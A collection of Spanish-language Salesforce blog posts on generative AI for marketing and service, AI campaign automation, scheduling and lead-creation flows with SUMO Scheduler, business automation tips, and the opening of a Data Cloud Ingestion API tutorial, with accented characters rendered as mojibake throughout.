Generaci贸n de texto de correo electr贸nico para campa帽as de marketing.

La generaci贸n de texto puede ayudar a los especialistas en marketing a reducir el tiempo que dedican a preparar campa帽as. La IA generativa puede producir recomendaciones, eventos de lanzamiento, ofertas especiales y oportunidades de participaci贸n del cliente para sus plataformas de redes sociales. Luego, puede pulir el texto para asegurarse de que tenga la voz y el tono de su empresa. Por ejemplo, puede usar la copia producida por la IA generativa para enviar correos electr贸nicos personalizados que informen a los clientes sobre el lanzamiento de un nuevo producto. Esto ayuda a mejorar la personalizaci贸n, brindando a sus clientes una experiencia m谩s consistente.

Presentaci贸n de casos relacionados para agentes de servicio

El resumen de casos puede ayudar a los agentes de servicio a conocer r谩pidamente a los clientes y sus interacciones anteriores con su empresa. Los casos proporcionan informaci贸n del cliente, como comentarios, historial de compras, problemas y resoluciones. La IA generativa puede ayudar a recomendar casos de clientes similares, por lo que un agente puede proporcionar r谩pidamente una variedad de soluciones. Esto da como resultado resoluciones m谩s r谩pidas, ahorros de tiempo y costos, y clientes m谩s satisfechos.

Automatizaci贸n de la generaci贸n de c贸digo b谩sico

La automatizaci贸n ayuda a los desarrolladores y especialistas en integraci贸n a generar c贸digo para tareas b谩sicas pero fundamentales. Por ejemplo, puede usar c贸digo escrito por modelos de lenguaje grande para desencadenar tareas espec铆ficas de automatizaci贸n de marketing, como enviar ofertas y generar plantillas de mensajes para clientes. De esta manera, el lenguaje general es coherente, personalizado para el cliente y en la voz de su empresa. La automatizaci贸n puede ahorrar tiempo y mejorar la productividad, lo que permite a los desarrolladores concentrarse en tareas que requieren m谩s atenci贸n y personalizaci贸n.

La IA brinda oportunidades ilimitadas para acercarse a sus clientes al tiempo que garantiza que est谩 operando de manera eficiente. En un estudio reciente de m谩s de 500 l铆deres de TI, descubrimos que al menos el 33 % consider贸 que la IA generativa era una prioridad para su negocio. Adem谩s, el 67% planeaba priorizarlo en los pr贸ximos 18 meses.

Cuando se usan como parte de una estrategia de IA h铆brida , los modelos de lenguaje grandes pueden complementar varias capacidades predictivas y mejorar dr谩sticamente la productividad. Si bien la IA generativa puede hacer mucho, esta tecnolog铆a a煤n necesita la gu铆a humana para ser m谩s efectiva para las empresas. La IA generativa puede sacar a la luz los conocimientos que necesita para tomar decisiones que puedan hacer avanzar su negocio.

Piense en ello como un asistente inteligente y automatizado para su empresa, que maneja tareas que consumen mucho tiempo para que sus empleados puedan trabajar en la resoluci贸n de problemas complejos. Cuando combine el poder de la IA generativa con el conocimiento y la experiencia que su empresa puede brindar, podr谩 hacer m谩s por sus clientes.

C贸mo la IA generativa ayuda al servicio y las ventas

Hace poco le preguntamos a 2000 profesionales de ventas y servicios qu茅 pensaban sobre la IA generativa. Consulte nuestro informe para mantenerse informado.

Urvi Shah, redactora t茅cnica del personal, contribuy贸 a esta publicaci贸n de blog.

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9 formas en que la IA puede ahorrar tiempo, dinero y sufrimiento a los especialistas en marketing

9 formas en que la IA puede ahorrar tiempo, dinero y sufrimiento a los especialistas en marketing

驴Tiene una lista de tareas pendientes de tareas molestas que persisten sobre usted? Estamos hablando de los que se deben hacer para ejecutar una campa帽a: recopilar y analizar datos, crear l铆neas de asunto de correo electr贸nico atractivas, determinar la audiencia adecuada a la que apuntar y mucho m谩s. Estas tareas pueden robarle su tiempo, y tal vez incluso su cordura. Pero ahora hay una manera de reducir ese trabajo pesado, ayud谩ndolo a concentrarse en el 茅xito de la campa帽a . Perm铆tanos presentarle su nuevo asistente digital: AI.

A medida que las marcas buscan formas de acercarse a los consumidores, m谩s de la mitad de los especialistas en marketing (62 %) afirman haber invertido en el poder de la IA. Nuestra encuesta State of Marketing m谩s reciente encontr贸 que tres de los cuatro principales casos de uso de IA est谩n relacionados con la automatizaci贸n, lo que destaca la importancia de aumentar la velocidad y la eficacia.

Echemos un vistazo a 9 formas en que el uso de la IA como asistente digital puede aumentar la eficacia y la eficiencia de sus campa帽as. Es hora de decir adi贸s a las tareas de campa帽a manuales redundantes que los especialistas en marketing desear铆an no tener que hacer, y deje que la IA lo ayude a aprovechar al m谩ximo su tiempo.

1. Tome mejores decisiones con an谩lisis e informaci贸n de datos automatizados

AI puede analizar grandes vol煤menes de datos de campa帽a, incluido el comportamiento del cliente, las m茅tricas de rendimiento de la campa帽a y las tendencias del mercado. Puede identificar patrones, extraer informaci贸n, detectar correlaciones y proporcionar recomendaciones pr谩cticas para mejorar las estrategias y la orientaci贸n de la campa帽a.

Obtendr谩 una comprensi贸n m谩s profunda de los clientes y el rendimiento de la campa帽a, lo que le permitir谩 tomar decisiones informadas y encontrar el 茅xito m谩s r谩pido.

2. Aumente el compromiso y las conversiones con la segmentaci贸n de la audiencia

Despu茅s de analizar los datos del cliente , su asistente digital de IA puede segmentar las audiencias seg煤n la demograf铆a, el comportamiento, las preferencias, el historial de compras y otros atributos importantes. AI elimina el esfuerzo manual requerido para segmentar audiencias y se dirige a clientes espec铆ficos con ofertas m谩s relevantes.

Cuando pueda personalizar los mensajes para diferentes segmentos, ver谩 que las campa帽as tienen m谩s 茅xito.

3. Antic铆pese a las necesidades de sus clientes con an谩lisis predictivos

Los modelos predictivos de IA utilizan datos hist贸ricos para pronosticar el comportamiento del cliente, como la probabilidad de convertir, abandonar o interactuar con elementos espec铆ficos de la campa帽a.

Esto lo ayuda a mantenerse un paso adelante para abordar de manera proactiva las necesidades de los clientes y presupuestar los recursos de manera efectiva.

4. Ahorre tiempo con la generaci贸n y optimizaci贸n de contenido

Crear contenido 煤nico con frecuencia puede ser una de las tareas que consume m谩s tiempo para muchos especialistas en marketing, pero un asistente digital de IA puede ayudar. La IA, impulsada por el procesamiento del lenguaje natural (NLP, por sus siglas en ingl茅s), puede generar contenido, como textos de anuncios, l铆neas de asunto de correos electr贸nicos y publicaciones en redes sociales, que resuena con sus clientes .

Puede proporcionar los toques finales para asegurarse de que el contenido est茅 en su voz y tono. Tambi茅n puede optimizar su contenido mediante el an谩lisis de datos de rendimiento, la identificaci贸n de elementos de alto rendimiento y la sugerencia de mejoras.

5. Optimice los flujos de trabajo con la automatizaci贸n de campa帽as

La IA puede automatizar varios aspectos de la ejecuci贸n de la campa帽a, como la programaci贸n y la implementaci贸n de anuncios, el env铆o de correos electr贸nicos dirigidos o la gesti贸n de publicaciones en las redes sociales. Esto reduce el esfuerzo manual y garantiza que su campa帽a se ejecute a tiempo.

驴Qu茅 puedes hacer con el tiempo liberado gracias a la IA? Conc茅ntrese en la estrategia y las ideas innovadoras, ayud谩ndole a construir mejores relaciones con los clientes.

Mu茅vete m谩s r谩pido con IA

Centrarse en la innovaci贸n, no en tareas repetitivas. Vea c贸mo la IA generativa est谩 transformando el marketing.

6. Muestre claramente el 茅xito de la campa帽a con seguimiento e informes de rendimiento

Seg煤n nuestro informe State of Marketing , el 72 % de los especialistas en marketing de alto rendimiento pueden analizar datos en tiempo real, lo que les otorga una ventaja a la hora de responder y optimizar el rendimiento de la campa帽a.

Su asistente digital de IA puede automatizar el seguimiento y la generaci贸n de informes de las m茅tricas de rendimiento de la campa帽a, de formas que cualquiera puede entender. La IA puede generar paneles en tiempo real e informes personalizados agradables a la vista, lo que le brinda a usted y a sus partes interesadas una visi贸n clara del rendimiento de la campa帽a y las m茅tricas clave, sin la necesidad de hacerlo todo a mano.

Esto lo ayuda a tomar decisiones basadas en datos, optimizar campa帽as sobre la marcha y demostrar el valor de sus esfuerzos a las partes interesadas.

7. Vea qu茅 funciona mejor con las pruebas A/B

AI puede realizar pruebas A/B en elementos de campa帽a, como variaciones de anuncios, p谩ginas de destino o dise帽os de correo electr贸nico. Analiza los datos de rendimiento , identifica las variaciones ganadoras y lo ayuda a refinar continuamente sus estrategias.

Unifique su equipo de marketing

Cuando re煤ne todos sus datos de marketing y colabora con sus equipos en una sola plataforma, se mover谩 de manera m谩s eficiente y estar谩 m谩s cerca de sus clientes. Vea c贸mo puede empezar.

8. Aumente los ingresos con la puntuaci贸n y el fomento de clientes potenciales

Con IA, puede automatizar la puntuaci贸n de clientes potenciales mediante el an谩lisis de los datos, el comportamiento y el historial de participaci贸n de los clientes potenciales. Asigna puntajes a los clientes potenciales en funci贸n de su probabilidad de conversi贸n y ofrece contenido personalizado para mover a los clientes potenciales a trav茅s del embudo de ventas.

Con la puntuaci贸n de clientes potenciales de AI, su equipo puede centrarse en los clientes potenciales m谩s prometedores y fomentar las relaciones a gran escala.

9. Mejora la comunicaci贸n con herramientas de colaboraci贸n interna

AI brilla como su asistente digital cuando maneja las necesidades de colaboraci贸n interna. Puede utilizar esta tecnolog铆a para automatizar la mensajer铆a en su departamento, as铆 como la gesti贸n de proyectos, la asignaci贸n de tareas y el uso compartido de archivos. Los equipos pueden incluso aplicar automatizaciones de flujo de trabajo que programen reuniones, env铆en recordatorios u organicen archivos, ocup谩ndose de los peque帽os detalles para que pueda concentrarse en el 茅xito de la campa帽a .

La IA est谩 transformando la gesti贸n de campa帽as al permitir que los equipos automaticen tareas manuales, liberando a los especialistas en marketing para trabajar en ideas m谩s generales. Con AI como su aliado, puede optimizar sus campa帽as, ver mejores resultados y comenzar a enfocarse en sus pr贸ximos 茅xitos.

Vea lo que la IA puede hacer

Aprenda c贸mo la IA puede ayudarlo a moverse de manera m谩s eficiente y crear relaciones significativas con los clientes.

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Desatando los superpoderes de administraci贸n de Salesforce: 隆Impulse la colaboraci贸n en equipo, sobrecargue la eficiencia, gesti贸n de datos maestros!

Desatando los superpoderes de administraci贸n de Salesforce: 隆Impulse la colaboraci贸n en equipo, sobrecargue la eficiencia, gesti贸n de datos maestros!

脷ltima actualizaci贸n el 31 de julio de 2023 por Rakesh Gupta

Durante la 煤ltima d茅cada, el papel de un administrador de Salesforce ha evolucionado dr谩sticamente, manteniendo el ritmo del panorama din谩mico de las ventas y la gesti贸n de las relaciones con los clientes. Lo que alguna vez fue principalmente una posici贸n de entrada de datos se ha convertido en un rol multifac茅tico que abarca la planificaci贸n estrat茅gica, el an谩lisis y la optimizaci贸n de procesos. A medida que las empresas reconozcan la importancia de Salesforce para impulsar el crecimiento y mejorar las experiencias de los clientes, los administradores proporcionar谩n un puente fundamental entre la tecnolog铆a y el 茅xito comercial.

Este art铆culo explorar谩 c贸mo los administradores pueden aprovechar la automatizaci贸n de procesos junto con el ecosistema de Salesforce para fomentar la colaboraci贸n en equipo, mejorar la eficiencia organizacional y mejorar la gesti贸n de datos.

Uso de la automatizaci贸n de correo electr贸nico de Salesforce para la programaci贸n

La automatizaci贸n del correo electr贸nico se utiliza para optimizar varios aspectos de la comunicaci贸n por correo electr贸nico con clientes potenciales y clientes dentro de la plataforma de Salesforce para garantizar una programaci贸n de citas r谩pida y eficiente. Permite a las empresas administrar de manera eficiente sus campa帽as de marketing y ventas por correo electr贸nico, la participaci贸n del cliente y las reservas.

En los 煤ltimos a帽os, la automatizaci贸n revolucion贸 los procesos de ventas y soporte al agilizar la reserva de citas, reducir la carga de trabajo manual y brindar a los clientes opciones convenientes de autoservicio. Actualmente, los administradores de Salesforce pueden aprovechar herramientas como SUMO Scheduler junto con flujos nativos y alertas por correo electr贸nico para enviar autom谩ticamente invitaciones a citas. Al crear disparadores que monitorean campos de datos espec铆ficos asociados con registros de contactos y lanzar flujos personalizados, los administradores pueden asegurarse de que los clientes potenciales siempre puedan programar citas, independientemente de la hora del d铆a o la ubicaci贸n.

Actualizaciones autom谩ticas de temas: haga que sus citas se destaquen

Las reuniones de cara al cliente son vitales para los equipos de ventas y soporte, y las citas perdidas o canceladas pueden afectar negativamente los objetivos estrat茅gicos y el resultado final. Los administradores de Salesforce pueden aprovechar las actualizaciones autom谩ticas de temas dentro de la programaci贸n de citas para reducir las cancelaciones de manera efectiva y aumentar la participaci贸n en las citas. Al implementar esta funcionalidad, los administradores pueden mejorar la comunicaci贸n, brindar claridad e infundir confianza en el proceso de citas para los clientes y la organizaci贸n.

Se puede activar una actualizaci贸n autom谩tica del tema para incluir detalles esenciales como la fecha, la hora, la ubicaci贸n y el prop贸sito de la cita al programarla. Este mensaje de confirmaci贸n sirve como recordatorio para el cliente y reduce las posibilidades de cancelaciones involuntarias o de no presentarse.

Las actualizaciones autom谩ticas de temas tambi茅n se pueden personalizar para atender a clientes individuales. Los administradores pueden incluir detalles personalizados, como el nombre del cliente o referencias de citas espec铆ficas, para captar su atenci贸n y crear una sensaci贸n de personalizaci贸n. Esto ayuda a fomentar una conexi贸n con el cliente y refuerza su compromiso con la cita.

Finalmente, en caso de cambios o actualizaciones en la cita, los administradores pueden usar actualizaciones autom谩ticas de temas para comunicar la informaci贸n revisada. Esto asegura que los clientes est茅n informados sobre cualquier modificaci贸n en tiempo real, minimizando la confusi贸n o la necesidad de cancelar debido a detalles desactualizados o inexactos.

Al permitir la flexibilidad en la programaci贸n y el mantenimiento de registros precisos dentro de Salesforce con la ayuda de l铆neas de asunto automatizadas, los administradores pueden optimizar de manera efectiva su proceso de ventas, mejorar la experiencia del usuario y fortalecer las relaciones con los clientes.

Uso de campos de correo electr贸nico flexibles para una mayor precisi贸n

La flexibilidad es clave para satisfacer las necesidades 煤nicas de los clientes, y los administradores de Salesforce pueden aprovechar el poder de los campos de correo electr贸nico para notificaciones personalizadas, sin importar cu谩n complejas sean. Esta personalizaci贸n permite una experiencia m谩s personalizada que cumple con requisitos espec铆ficos, como el cumplimiento normativo o las pol铆ticas internas.

En el contexto de Salesforce, los campos de correo electr贸nico se utilizan para recopilar y almacenar las direcciones de correo electr贸nico de los clientes. Estos campos aseguran que los datos ingresados sigan el formato adecuado, evitando entradas incorrectas o no v谩lidas. Las direcciones de correo electr贸nico recopiladas a trav茅s de estos campos se pueden usar para enviar recordatorios, actualizaciones, mensajes de seguimiento y otras notificaciones relacionadas con citas. Cada campo de correo electr贸nico act煤a como una medida confiable de capturar y utilizar informaci贸n de contacto para mejorar el compromiso y mantener canales de comunicaci贸n efectivos.

Los campos de correo electr贸nico de Salesforce pueden mejorar la precisi贸n al garantizar que la informaci贸n de contacto almacenada en CRM est茅 actualizada y sea confiable. Al utilizar campos de correo electr贸nico dedicados dentro de Salesforce, los representantes de ventas pueden capturar y almacenar direcciones de correo electr贸nico espec铆ficas de personas o entidades con precisi贸n. Esto ayuda a eliminar el riesgo de usar direcciones de correo electr贸nico desactualizadas o incorrectas asociadas con otros campos, como informaci贸n de contacto personal o comercial, lo que da como resultado comunicaciones por correo electr贸nico m谩s confiables, tasas de rebote reducidas y precisi贸n de datos mejorada.

Automatice la creaci贸n de clientes potenciales en Salesforce en el momento de la reserva

Las herramientas de programaci贸n nativas de Salesforce permiten a los equipos de ventas automatizar la creaci贸n de clientes potenciales, lo que garantiza una captura precisa de la informaci贸n y los datos demogr谩ficos de los clientes potenciales en el CRM. Al automatizar el proceso de creaci贸n de clientes potenciales tan pronto como se programa una cita, los administradores pueden ahorrar tiempo, mantener la integridad de los datos y evitar la redundancia. Los flujos automatizados agilizan el proceso y eliminan los errores de entrada manual. La precisi贸n mejorada y la colaboraci贸n entre las partes interesadas mejoran las tasas de conversi贸n de clientes potenciales y proporcionan datos confiables para informes y an谩lisis.

Para automatizar r谩pidamente la creaci贸n de clientes potenciales en Salesforce en el momento de la reserva, puede seguir estos pasos:

  1. Identifique el evento desencadenante : determine el evento o la acci贸n espec铆ficos que deben desencadenar la creaci贸n de clientes potenciales. En este caso, ser铆a la reserva de una cita.
  2. Configure un flujo de Salesforce : utilice el flujo de Salesforce para crear una regla que active el proceso de creaci贸n de clientes potenciales. Especifique los criterios para cu谩ndo debe activarse el flujo, como cuando se reserva una nueva cita.
  3. Definir asignaci贸n de campos : configure la asignaci贸n de campos para asegurarse de que la informaci贸n relevante de la cita se transfiera correctamente al registro de clientes potenciales. Puede asignar campos como el nombre del participante, la informaci贸n de contacto, los detalles de la cita y otros puntos de datos relevantes.
  4. Crear el registro de prospecto : configure Salesforce Flow para crear un nuevo registro de prospecto con los datos asignados. Aseg煤rese de que todos los campos obligatorios est茅n completos y que el registro de cliente potencial est茅 asociado con la campa帽a o la fuente adecuada.
  5. Probar y validar : pruebe el proceso automatizado de creaci贸n de clientes potenciales reservando una cita de muestra y verificando que el registro de clientes potenciales se cree con los datos esperados. Valide que el registro de prospectos aparezca en la cola de prospectos designada o en las reglas de asignaci贸n.
  6. Supervisar y perfeccionar : Supervise continuamente el proceso de automatizaci贸n de creaci贸n de clientes potenciales para garantizar su eficacia y precisi贸n. Realice los ajustes o mejoras necesarios en funci贸n de los comentarios, los cambios en los requisitos comerciales o los problemas de calidad de los datos.

Al automatizar la creaci贸n de clientes potenciales en Salesforce en el momento de la reserva, los representantes de ventas y los administradores pueden ahorrar tiempo, garantizar la precisi贸n de los datos y mantener un proceso de gesti贸n de clientes potenciales optimizado. Esta automatizaci贸n facilita la captura eficiente de clientes potenciales, reduce el esfuerzo manual y mejora la productividad del equipo de ventas.

Conclusi贸n:

Los flujos de programaci贸n automatizados, junto con las poderosas capacidades de SUMO Scheduler, simplifican y mejoran los procesos de trabajo, ahorran tiempo, reducen errores y mejoran la satisfacci贸n del cliente. Al adoptar la automatizaci贸n, los administradores de Salesforce pueden impulsar mejoras significativas en la eficiencia, la productividad y el rendimiento comercial general. La optimizaci贸n de los procesos de programaci贸n y el aprovechamiento de los flujos de automatizaci贸n en Salesforce con SUMO Scheduler es una combinaci贸n ganadora para las empresas que buscan optimizar sus operaciones. 隆Adopte la revoluci贸n de la automatizaci贸n hoy e impulse a su equipo de ventas a nuevos niveles de 茅xito!

Haga clic aqu铆 para visitar SUMO Scheduler en Salesforce AppExchange y obtener m谩s informaci贸n sobre el poder de la programaci贸n autom谩tica de autoservicio .

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

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5 consejos para incorporar la automatizaci贸n en su negocio

5 consejos para incorporar la automatizaci贸n en su negocio

Seamos realistas: el trabajo mundano y repetitivo puede ser un lastre. De hecho, el 77 % de los trabajadores de escritorio dicen que la automatizaci贸n de las tareas rutinarias mejorar铆a su productividad. Sin embargo, el 52% de las empresas todav铆a tienen demasiados procesos y tareas manuales. La automatizaci贸n empresarial puede ser la clave para cerrar esta brecha.

La automatizaci贸n empresarial conduce a clientes leales , empleados m谩s felices, mejor eficiencia y ahorro de costos. 驴Y qu茅 mejor manera de trazar un camino hacia la automatizaci贸n empresarial que aprender de aquellos que ya lo han hecho? 驴No est谩 seguro de por d贸nde empezar con la automatizaci贸n? Esto ayudar谩 .

En un informe para Salesforce , IDC entrevist贸 a m谩s de 1600 l铆deres empresariales y de TI, en varias industrias en Asia, Europa, Am茅rica del Norte y Am茅rica del Sur, sobre c贸mo han tenido 茅xito con la automatizaci贸n en sus empresas. A partir de esta investigaci贸n de IDC, aqu铆 hay cinco consejos que puede usar para ayudar a incorporar la automatizaci贸n en su propia pr谩ctica.

Acelere la automatizaci贸n como los profesionales

Escuche a m谩s de 1600 l铆deres empresariales y de TI de todo el mundo sobre las tendencias de automatizaci贸n y lo que pueden hacer por su empresa.

Tabla de contenido

Sugerencia 1: Genera impulso en un 谩rea y luego expande a toda la empresa
Consejo 2: Cree un centro de automatizaci贸n de excelencia
Consejo 3: automatice los flujos de trabajo de TI para ayudar a los departamentos de TI sobrecargados
Consejo 4: utilice un enfoque 谩gil para la automatizaci贸n empresarial
Sugerencia 5: use c贸digo bajo para acelerar el tiempo de comercializaci贸n

Sugerencia 1: Genera impulso en un 谩rea y luego expande a toda la empresa

Los mejores procesos candidatos tienen pasos repetitivos, un alto volumen de tareas y datos de m煤ltiples sistemas. Elegir un proceso maduro que haya sido probado y ajustado con el tiempo es su mejor apuesta. Si un proceso cambia con frecuencia o implica un an谩lisis cualitativo, probablemente no sea un buen candidato para la automatizaci贸n. Estos son los pasos para ayudarlo a comenzar.

1. Investiga

Para empezar, deber谩 determinar:

  • Qu茅 proceso quieres transformar
  • Cu谩nto se tarda
  • Personas y departamentos involucrados
  • Sistemas y datos que posibilitan el proceso

2. Cuantificar los costos

Sume los costos del proceso que desea automatizar en todos los departamentos involucrados o afectados. Algunas cosas para pensar en este paso:

  • 驴Cu谩nto m谩s le cuestan las ineficiencias en tiempo extra del personal?
  • 驴Est谩 pagando por env铆os acelerados?
  • 驴Est谩 contabilizando las horas extra de los contratistas?
  • 驴Existen costes negativos en la experiencia del cliente?

3. Definir el estado deseado

Para definir su estado deseado, deber谩 ingresar a los detalles de su proceso automatizado. Aqu铆 hay algunas preguntas para hacer:

  • 驴C贸mo ser谩 su nuevo proceso?
  • 驴Qui茅n deber铆a estar involucrado?
  • 驴Cu谩nto tiempo debe tomar el proceso automatizado?

Recuerde incorporar los comentarios de los clientes en este paso.

4. Elige las herramientas adecuadas

Al elegir herramientas de automatizaci贸n empresarial, es importante seleccionar proveedores con una reputaci贸n estelar en procesos comerciales y automatizaci贸n de flujos de trabajo, que tambi茅n pueden actuar como sus asesores comerciales de confianza. Algunas preguntas para empezar a rodar:

  • 驴Qu茅 dicen los clientes (o clientes descontentos) sobre las herramientas?
  • 驴Tiene las caracter铆sticas que su equipo necesita para tener 茅xito?
  • 驴Ofrece incorporaci贸n y atenci贸n al cliente durante toda la vida 煤til del servicio?

SUGERENCIA PROFESIONAL: aseg煤rese de que la herramienta integre sus datos existentes y automatice los procesos con clics en lugar de una codificaci贸n extensa.

5. Probar, implementar, evaluar

Ahora que ha seleccionado una herramienta y automatizado su proceso, est谩 listo para comenzar. Por supuesto, deber谩 probar su nuevo proceso antes de implementarlo. As铆 es como descubrir谩 si necesita refinarlo o modificarlo.

Finalmente, haga un balance de las mejoras en las medidas clave. Considere estas preguntas:

  • 驴Cu谩nto tardan los usuarios en completar los flujos de trabajo automatizados?
  • 驴La experiencia del usuario o del cliente est谩 a la altura de sus expectativas?
  • 驴Sigue siendo el costo un problema?

Consejo 2: Cree un centro de automatizaci贸n de excelencia

Un centro de excelencia de automatizaci贸n (COE) puede marcar la diferencia en su viaje hacia la transformaci贸n digital . El objetivo del COE es supervisar el desarrollo y el lanzamiento de sus esfuerzos de automatizaci贸n . Invite a personas clave de TI y del negocio para ayudar a tomar las mejores decisiones para el futuro.

As铆 es como puede configurar su COE de automatizaci贸n para el 茅xito:

  1. Elige el equipo adecuado. Seleccione a las partes interesadas que adopten el cambio y est茅n listas para defender las mejoras del proceso. Aseg煤rese de incluir un director de proyecto y al menos un patrocinador ejecutivo.
  2. Desarrollar un marco de automatizaci贸n. Para optimizar su inversi贸n en automatizaci贸n, el COE debe establecer un marco para personas, procesos, sistemas e infraestructura.
  3. Defina una hoja de ruta de automatizaci贸n. La automatizaci贸n empresarial no es un evento singular. Cree una hoja de ruta de automatizaci贸n, un plan de alto nivel que describa los pasos necesarios para implementar pruebas automatizadas, y obtenga la aprobaci贸n de las partes interesadas clave.
  4. Ejecutar flujos de trabajo de automatizaci贸n . Esta es la parte t谩ctica del trabajo del COE. Identifique los puntos d茅biles, prior铆celos y supervise la automatizaci贸n de procesos.
  5. Mide el 茅xito. Establezca indicadores clave de rendimiento (KPI) para medir el impacto en la experiencia de los empleados y los clientes, la eficiencia operativa y la rentabilidad.

Consejo 3: automatice los flujos de trabajo de TI para ayudar a los departamentos de TI sobrecargados

Aunque los recursos de TI de calidad son dif铆ciles de encontrar, la acumulaci贸n de proyectos sigue aumentando. Recientemente descubrimos que a los departamentos de TI se les pide que entreguen un 41 % m谩s en 2023 que en 2022.

La automatizaci贸n de procesos de TI repetitivos alivia al personal de TI sobrecargado de trabajo y lo libera para expandir sus esfuerzos en toda la empresa.

Aqu铆 hay algunos procesos con los que la automatizaci贸n empresarial puede ayudar, para diferentes equipos:

  • Operaciones de TI : monitoreo de sistemas, seguridad de red, implementaci贸n de infraestructura
  • Servicios de TI : soporte al usuario final, aprovisionamiento de software, soporte de software
  • Gesti贸n de activos : aprovisionamiento de activos, desmantelamiento, auditor铆a, informes
  • Gesti贸n de datos : copia de seguridad y redundancia de datos, limpieza de datos

驴Qui茅n debe participar de TI? Esto es lo que dijeron los responsables de la toma de decisiones sobre automatizaci贸n:

  • 72% dijo que los desarrolladores de TI
  • 65% dijo operaciones de TI
  • 49% dijo administradores de aplicaciones
  • 42% dijo integradores de sistemas

La TI juega un papel fundamental para asegurarse de que se implementen la estrategia y la visi贸n del negocio. Trabajando en estrecha colaboraci贸n con TI, pasamos de 6 a 12 meses de nuestro tiempo de comercializaci贸n con nuestros sistemas a solo d铆as con una nueva experiencia de automatizaci贸n.

Director de la divisi贸n de gesti贸n patrimonial,
servicios financieros

Automatizaci贸n: tendencias, desaf铆os y mejores pr谩cticas , IDC

Consejo 4: utilice un enfoque 谩gil para la automatizaci贸n empresarial

El enfoque tradicional de 鈥渃ascada鈥, en el que el an谩lisis, la especificaci贸n, el dise帽o y las pruebas se realizan de forma secuencial, no funciona bien para la automatizaci贸n empresarial. Con el enfoque en cascada, es posible que se encuentre cerca de la implementaci贸n cuando surja un problema grave, como un dise帽o que no se puede escalar.

La metodolog铆a 谩gil enfatiza el trabajo en equipo multifuncional y las pruebas continuas. Y aunque la mayor铆a de los desarrolladores de software la usan, la metodolog铆a 谩gil no es solo para desarrolladores. Su ciclo continuo de planificaci贸n, ejecuci贸n, evaluaci贸n y mejora se puede aplicar a la automatizaci贸n de procesos comerciales. Una de sus mayores ventajas es que re煤ne equipos multifuncionales que planifican, prueban, implementan y redise帽an procesos automatizados en ciclos de liberaci贸n r谩pida.

C贸digo bajo, mucho tiempo de comercializaci贸n

Elija una plataforma de c贸digo bajo que funcione para usted. Nuestra gu铆a lo desglosa todo y describe claramente lo que necesita para comenzar a innovar hoy.

Sugerencia 5: use c贸digo bajo para acelerar el tiempo de comercializaci贸n

驴A qui茅n no le gusta una integraci贸n empresarial y de TI m谩s estrecha? Sin embargo, solo el 56 % de las organizaciones utilizan soluciones de c贸digo bajo , un enfoque de desarrollo que requiere poca o ninguna codificaci贸n para crear aplicaciones y procesos, para potenciar la automatizaci贸n.

El desarrollo de software tradicional es largo y costoso. Con una plataforma de desarrollo de aplicaciones de bajo c贸digo ( LCAP ), los usuarios empresariales y de TI pueden desarrollar aplicaciones y flujos de trabajo automatizados a trav茅s de una interfaz gr谩fica de usuario ( GUI ) amigable. Esto puede marcar la diferencia cuando el personal de TI est谩 sujeto a presiones o restricciones.

Hay una raz贸n m谩s para optar por el c贸digo bajo. Los esfuerzos de automatizaci贸n empresarial abarcan negocios y TI. Usando c贸digo bajo, los usuarios comerciales pueden trabajar en estrecha colaboraci贸n con TI para desarrollar modelos de datos y l贸gica de procesos con solo hacer clic.

Primeros pasos con la automatizaci贸n empresarial

La automatizaci贸n empresarial no tiene por qu茅 ser complicada. Con los consejos que ha aprendido, puede comenzar a implementar flujos de trabajo de automatizaci贸n hoy mismo . Al desarrollar un 谩rea, crear un COE, automatizar para sus equipos de TI y usar un enfoque 谩gil y c贸digo bajo, tiene un comienzo saludable para un proceso de automatizaci贸n empresarial exitoso. Ahora ve a automatizar.

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Cargue datos mediante programaci贸n con la API de ingesta 鈽侊笍

Cargue datos mediante programaci贸n con la API de ingesta 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Cargue datos mediante programaci贸n con la API de ingesta | Blog de desarrolladores de Salesforce

Salesforce Data Cloud ofrece varios conectores predefinidos para la importaci贸n de datos. Estos le permiten conectar otra organizaci贸n de Salesforce, una instancia de Marketing Cloud, almacenamientos de datos como Amazon S3 o cualquier otra fuente admitida por MuleSoft Salesforce Data Cloud Connector . Para conectarse a un sistema de terceros, puede utilizar la API de ingesta .

La API de ingesta es una interfaz RESTful que facilita la carga de datos mediante programaci贸n en Data Cloud. Admite patrones de interacci贸n masiva y de transmisi贸n. El patr贸n de transmisi贸n usa JSON como su formato, cargando datos en micro lotes a trav茅s de la API REST. El patr贸n masivo, por otro lado, emplea el formato CSV y carga datos usando trabajos.

En esta publicaci贸n de blog, analizaremos c贸mo configurar el conector de la API de ingesta y comenzar a cargar datos mediante programaci贸n utilizando los patrones Streaming y Bulk.

Cu谩ndo usar la ingesti贸n Streaming vs Bulk

Ingesti贸n de transmisi贸n Ingesti贸n a granel
Al actualizar peque帽os microlotes de registros casi en tiempo real Al mover grandes vol煤menes de datos en un programa diario, semanal o mensual
Cuando se utilizan sistemas de origen de datos que se basan en arquitecturas de transmisi贸n modernas Al usar sistemas heredados, donde solo puede exportar datos durante las horas de menor actividad
Al crear eventos de captura de datos modificados Al usar una nueva organizaci贸n de Data Cloud que desea rellenar con 30, 60 o m谩s de 90 d铆as de datos
Al consumir datos de webhooks

Para configurar la API de ingesta, deber谩 seguir cuatro pasos de requisitos previos:

  • Crear un conector de API de ingesta
  • Crear e implementar un flujo de datos
  • Crear una aplicaci贸n conectada
  • Solicitar un token de acceso a la nube de datos

Veamos el proceso de creaci贸n y configuraci贸n de un conector de ingesta para comenzar a cargar datos en Data Cloud.

Creaci贸n de un conector de API de ingesta

Supongamos que tiene acceso a Data Cloud. Para conectar una nueva fuente de API de ingesta mediante el conector de API de ingesta, vaya a Configuraci贸n de nube de datos y seleccione API de ingesta .

Aqu铆 encontrar谩 todos los conectores disponibles en su organizaci贸n. Para crear uno nuevo, haga clic en Conectar y proporcione un nombre. Para nuestra aplicaci贸n de muestra, trabajaremos con una empresa de energ铆a solar ficticia. Estamos interesados en recibir eventos de m茅tricas relacionadas con el rendimiento energ茅tico de sus paneles solares.

